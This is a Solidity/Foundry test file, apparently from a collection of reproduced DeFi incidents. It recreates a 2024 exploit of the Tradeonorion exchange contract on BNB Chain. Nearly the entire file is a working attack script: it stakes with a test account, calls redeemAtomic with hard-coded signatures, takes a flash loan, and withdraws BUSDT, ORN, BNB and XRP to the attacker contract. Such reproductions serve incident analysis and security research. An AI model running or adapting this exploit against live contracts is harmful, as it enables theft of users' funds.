src/test/2024-05/Tradeonorion_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "./../interface.sol";
5 
6// @KeyInfo -- Total Lost : ~645K
7// TX : https://app.blocksec.com/explorer/tx/bsc/0x660837a1640dd9cc0561ab7ff6c85325edebfa17d8b11a3bb94457ba6dcae18c
8// Attacker : https://bscscan.com/address/0x51177db1ff3b450007958447946a2eee388288d2
9// Attack Contract : https://bscscan.com/address/0xf8bfac82bdd7ac82d3aeec98b9e1e73579509db6
10// GUY : https://x.com/MetaSec_xyz/status/1796008961302258001
11 
12interface Routers {
13    function swapCompact() external payable returns (uint256);
14}
15 
16library LibAtomic {
17    struct LockOrder {
18        address sender;
19        uint64 expiration;
20        address asset;
21        uint64 amount;
22        uint24 targetChainId;
23        bytes32 secretHash;
24    }
25 
26    struct LockInfo {
27        address sender;
28        uint64 expiration;
29        bool used;
30        address asset;
31        uint64 amount;
32        uint24 targetChainId;
33    }
34 
35    struct ClaimOrder {
36        address receiver;
37        bytes32 secretHash;
38    }
39 
40    struct RedeemOrder {
41        address sender;
42        address receiver;
43        address claimReceiver;
44        address asset;
45        uint64 amount;
46        uint64 expiration;
47        bytes32 secretHash;
48        bytes signature;
49    }
50}
51 
52library MarginalFunctionality {
53    // We have the following approach: when liability is created we store
54    // timestamp and size of liability. If the subsequent trade will deepen
55    // this liability or won't fully cover it timestamp will not change.
56    // However once outstandingAmount is covered we check whether balance on
57    // that asset is positive or not. If not, liability still in the place but
58    // time counter is dropped and timestamp set to `now`.
59    struct Liability {
60        address asset;
61        uint64 timestamp;
62        uint192 outstandingAmount;
63    }
64 
65    enum PositionState {
66        POSITIVE,
67        NEGATIVE, // weighted position below 0
68        OVERDUE, // liability is not returned for too long
69        NOPRICE, // some assets has no price or expired
70        INCORRECT // some of the basic requirements are not met: too many liabilities, no locked stake, etc
71 
72    }
73 
74    struct Position {
75        PositionState state;
76        int256 weightedPosition; // sum of weighted collateral minus liabilities
77        int256 totalPosition; // sum of unweighted (total) collateral minus liabilities
78        int256 totalLiabilities; // total liabilities value
79    }
80 
81    // Constants from Exchange contract used for calculations
82    struct UsedConstants {
83        address user;
84        address _oracleAddress;
85        address _orionTokenAddress;
86        uint64 positionOverdue;
87        uint64 priceOverdue;
88        uint8 stakeRisk;
89        uint8 liquidationPremium;
90    }
91}
92 
93interface VulnContract {
94    function depositAssetTo(address assetAddress, uint112 amount, address account) external;
95    function lockStake(
96        uint64 amount
97    ) external;
98    function redeemAtomic(LibAtomic.RedeemOrder calldata order, bytes calldata secret) external;
99    function getLiabilities(
100        address user
101    ) external view returns (MarginalFunctionality.Liability[] memory liabilitiesArray);
102    function requestReleaseStake() external;
103    function getBalances(
104        address[] memory assetsAddresses,
105        address user
106    ) external view returns (int192[] memory balances);
107    function withdrawTo(address assetAddress, uint112 amount, address to) external;
108}
109 
110contract ContractTest is Test {
111    Uni_Pair_V3 constant BUSDT_USDC = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);
112    Uni_Pair_V3 Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
113    IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
114    IERC20 ORN = IERC20(0xe4CA1F75ECA6214393fCE1C1b316C237664EaA8e);
115    IERC20 XRP = IERC20(0x1D2F0da169ceB9fC7B3144628dB156f3F6c60dBE);
116    Uni_Pair_V2 constant pair = Uni_Pair_V2(0xC9807E3476d81CFb769122eD75EE4783eF9c2035);
117    IPancakeRouter Router = IPancakeRouter(payable(0x8228A4aD192d5D82189afd6e194f65edb8c76a41));
118    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
119    VulnContract vulnContract = VulnContract(0xe9d1D2a27458378Dd6C6F0b2c390807AEd2217Ca);
120    address attacker;
121    uint256 public counter;
122    address public alice;
123    uint256 private signerPrivateKey;
124    uint256 private alicePk;
125 
126    function setUp() public {
127        vm.createSelectFork("bsc", 39_104_878);
128        deal(address(BUSDT), address(this), 0);
129    }
130 
131    function testExploit() public {
132        emit log_named_decimal_uint("[Begin] Attacker ORN balance before exploit", ORN.balanceOf(address(this)), 8);
133        emit log_named_decimal_uint("[Begin] Attacker BNB balance before exploit", address(this).balance, 18);
134        emit log_named_decimal_uint("[Begin] Attacker XRP balance before exploit", XRP.balanceOf(address(this)), 18);
135        emit log_named_decimal_uint("[Begin] Attacker BUSDT balance before exploit", BUSDT.balanceOf(address(this)), 18);
136        console.log("==============");
137        attack();
138    }
139 
140    function attack() public {
141        // Step 1
142        address[] memory add = new address[](1);
143        add[0] = address(ORN);
144        (alice, alicePk) = makeAddrAndKey("alice");
145        deal(address(ORN), address(alice), 10_000_000);
146        deal(address(BUSDT), address(alice), 1 ether);
147        deal(address(WBNB), address(alice), 0.005 ether);
148        vm.startPrank(alice);
149 
150        // Step 2
151        BUSDT.approve(address(vulnContract), type(uint192).max);
152 
153        vulnContract.depositAssetTo(address(BUSDT), 1 ether, address(alice));
154 
155        ORN.approve(address(vulnContract), type(uint192).max);
156 
157        vulnContract.depositAssetTo(address(ORN), 10_000_000, address(alice));
158 
159        vulnContract.lockStake(10_000_000);
160 
161        //Step 3
162        signerPrivateKey = 123_456;
163        attacker = vm.addr(signerPrivateKey);
164        bytes memory hash_1 = abi.encodePacked("test");
165        LibAtomic.RedeemOrder memory order_1 = LibAtomic.RedeemOrder({
166            sender: address(alice),
167            receiver: address(attacker),
168            claimReceiver: address(attacker),
169            asset: address(ORN),
170            amount: 10_000_000,
171            expiration: 3_433_733_152_542,
172            secretHash: keccak256(abi.encodePacked("test")),
173            signature: hex"7eb28027e17378185c859be36dfe518ecdb6bd004bb7179089656c70bc017680680a14257e7d638e2b98d6ffcc8a4577decb9f47568e62040ea8da9b72717fb91b"
174        });
175 
176        vulnContract.redeemAtomic(order_1, hash_1);
177 
178        //Step 3.1
179 
180        vulnContract.requestReleaseStake();
181        bytes memory hash_2 = abi.encodePacked("test_1");
182        LibAtomic.RedeemOrder memory order_2 = LibAtomic.RedeemOrder({
183            sender: address(alice),
184            receiver: address(attacker),
185            claimReceiver: address(attacker),
186            asset: address(ORN),
187            amount: 10_000_000,
188            expiration: 3_433_733_152_542,
189            secretHash: keccak256(abi.encodePacked("test_1")),
190            signature: hex"319ba837db29aba1f3a2ad365d2714dd83238e1393d6a7b033927faa53b57ba27168a7ebf9ac04512df3f73644b2716922f528eabc08cac8bb800a00108f58671b"
191        });
192 
193        vulnContract.redeemAtomic(order_2, hash_2);
194 
195        //Step 3.2
196 
197        ORN.approve(address(vulnContract), 9000 ether);
198        deal(address(ORN), address(alice), 20_000_000);
199        vulnContract.depositAssetTo(address(ORN), 20_000_000, address(alice));
200        vulnContract.lockStake(10_000_000);
201 
202        //Step 3.3
203 
204        bytes memory hash_3 = abi.encodePacked("test_2");
205        LibAtomic.RedeemOrder memory order_3 = LibAtomic.RedeemOrder({
206            sender: address(alice),
207            receiver: address(attacker),
208            claimReceiver: address(attacker),
209            asset: address(ORN),
210            amount: 10_000_000,
211            expiration: 3_433_733_152_542,
212            secretHash: keccak256(abi.encodePacked("test_2")),
213            signature: hex"42993d5595f081871ae473187ef75a479994926734896dbeb97df0ef4fb977a23b95da6d8850e1f425cf4118c6bac8ae884cbad80abede67baee75d75beb7da11b"
214        });
215 
216        vulnContract.redeemAtomic(order_3, hash_3);
217 
218        //Step 3.4
219 
220        vulnContract.requestReleaseStake();
221        bytes memory hash_4 = abi.encodePacked("test_3");
222        LibAtomic.RedeemOrder memory order_4 = LibAtomic.RedeemOrder({
223            sender: address(alice),
224            receiver: address(attacker),
225            claimReceiver: address(attacker),
226            asset: address(ORN),
227            amount: 10_000_000,
228            expiration: 3_433_733_152_542,
229            secretHash: keccak256(abi.encodePacked("test_3")),
230            signature: hex"bee18780e48e8c8d9b39ebe96df3556ba217b956d5be8db2c5008289e3d213cd7faaf3031ecb438b8f5fa8008593fe88d0d9d8f92d81d96746957fc5c152a7ea1c"
231        });
232 
233        vulnContract.redeemAtomic(order_4, hash_4);
234        vm.stopPrank();
235 
236        //Step 3.5
237        //End  (Start Attack)
238        Pool.flash(address(this), 4_000_000 ether, 0, "0x123");
239    }
240 
241    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
242        BUSDT.approve(address(vulnContract), type(uint256).max);
243        vulnContract.depositAssetTo(address(BUSDT), 4_000_000 ether, address(attacker));
244 
245        bytes memory Attackhash = abi.encodePacked("attack");
246        LibAtomic.RedeemOrder memory attackorder = LibAtomic.RedeemOrder({
247            sender: address(attacker),
248            receiver: address(alice),
249            claimReceiver: address(alice),
250            asset: address(ORN),
251            amount: 196_375_601_599_999,
252            expiration: 3_433_740_589_266,
253            secretHash: keccak256(abi.encodePacked("attack")),
254            signature: hex"c44429a5ff5ae246f407058156120f1febebfb0cc1e3e35d9ee845ba12c998d369fe6c97b343eb15fefc2cc28faf38509623fdb630fdd1d3cb6f637f8839562a1b"
255        });
256 
257        vulnContract.redeemAtomic(attackorder, Attackhash);
258 
259        //(attack-BUSD)
260 
261        bytes memory Attackhash_2 = abi.encodePacked("attack-2");
262        LibAtomic.RedeemOrder memory attackorder_2 = LibAtomic.RedeemOrder({
263            sender: address(alice),
264            receiver: address(this),
265            claimReceiver: address(this),
266            asset: address(BUSDT),
267            amount: 401_984_468_607_796,
268            expiration: 3_433_740_590_656,
269            secretHash: keccak256(abi.encodePacked("attack-2")),
270            signature: hex"936624bf8c31c3f55d1e623ac3cc0360e1968daf3c04efab3292d45ebe3083e367fdeeea04183e441e75255d4201f3dadb05d923260d9bb202374242b4eeaaae1b"
271        });
272 
273        vulnContract.redeemAtomic(attackorder_2, Attackhash_2);
274 
275        vulnContract.withdrawTo(address(BUSDT), 4_019_844_686_077_960_000_000_000, address(this));
276 
277        //(attack-ORN)
278 
279        bytes memory Attackhash_3 = abi.encodePacked("attack-3");
280        LibAtomic.RedeemOrder memory attackorder_3 = LibAtomic.RedeemOrder({
281            sender: address(alice),
282            receiver: address(this),
283            claimReceiver: address(this),
284            asset: address(ORN),
285            amount: 49_892_192_920_826,
286            expiration: 3_433_740_591_490,
287            secretHash: keccak256(abi.encodePacked("attack-3")),
288            signature: hex"f90bfb2eb2870ded343c7553e656ea7512464fda152f31e5938afc5e75eb39387a65e05b89821f190e75acca13937c38c4fe88282f95f57e3dc4c810e63c5d411b"
289        });
290 
291        vulnContract.redeemAtomic(attackorder_3, Attackhash_3);
292 
293        vulnContract.withdrawTo(address(ORN), 49_892_192_920_826, address(this));
294 
295        emit log_named_decimal_uint("[End] Attacker ORN balance after exploit", ORN.balanceOf(address(this)), 8);
296 
297        //(attack-BNB)
298 
299        bytes memory Attackhash_4 = abi.encodePacked("attack-4");
300        LibAtomic.RedeemOrder memory attackorder_4 = LibAtomic.RedeemOrder({
301            sender: address(alice),
302            receiver: address(this),
303            claimReceiver: address(this),
304            asset: address(0x0000000000000000000000000000000000000000),
305            amount: 7_989_615_974,
306            expiration: 3_433_740_592_082,
307            secretHash: keccak256(abi.encodePacked("attack-4")),
308            signature: hex"ba218089103438fb970527519e0d0bc378dba137365d83eb1b33e45ec74755d230bc8ced929cf611788c7bb73adadb7fb5347c60bf43fff7c8cbd627ac7ecb301c"
309        });
310 
311        vulnContract.redeemAtomic(attackorder_4, Attackhash_4);
312 
313        vulnContract.withdrawTo(
314            address(0x0000000000000000000000000000000000000000), 79_896_159_740_000_000_000, address(this)
315        );
316 
317        emit log_named_decimal_uint("[End] Attacker BNB balance after exploit", address(this).balance, 18);
318 
319        //(attack-XRP)
320 
321        bytes memory Attackhash_6 = abi.encodePacked("attack-5");
322        LibAtomic.RedeemOrder memory attackorder_5 = LibAtomic.RedeemOrder({
323            sender: address(alice),
324            receiver: address(this),
325            claimReceiver: address(this),
326            asset: address(XRP),
327            amount: 6_244_473_033_100,
328            expiration: 3_433_740_592_082,
329            secretHash: keccak256(abi.encodePacked("attack-5")),
330            signature: hex"1f881dd5cb69a03554e9abf25f8fac02c709f257214009641e27434ce7688d8f31bd7a76809f244c6c5344687f559724e929775b542ebe61a9449c6bcee387f71c"
331        });
332 
333        vulnContract.redeemAtomic(attackorder_5, Attackhash_6);
334 
335        vulnContract.withdrawTo(address(XRP), 62_444_730_331_000_000_000_000, address(this));
336 
337        BUSDT.transfer(msg.sender, 4_002_000 ether);
338        emit log_named_decimal_uint(
339            "[End] Attacker XRP balance after exploit", XRP.balanceOf(address(this)), XRP.decimals()
340        );
341        emit log_named_decimal_uint("[End] Attacker BUSDT balance after exploit", BUSDT.balanceOf(address(this)), 18);
342    }
343 
344    receive() external payable {}
345}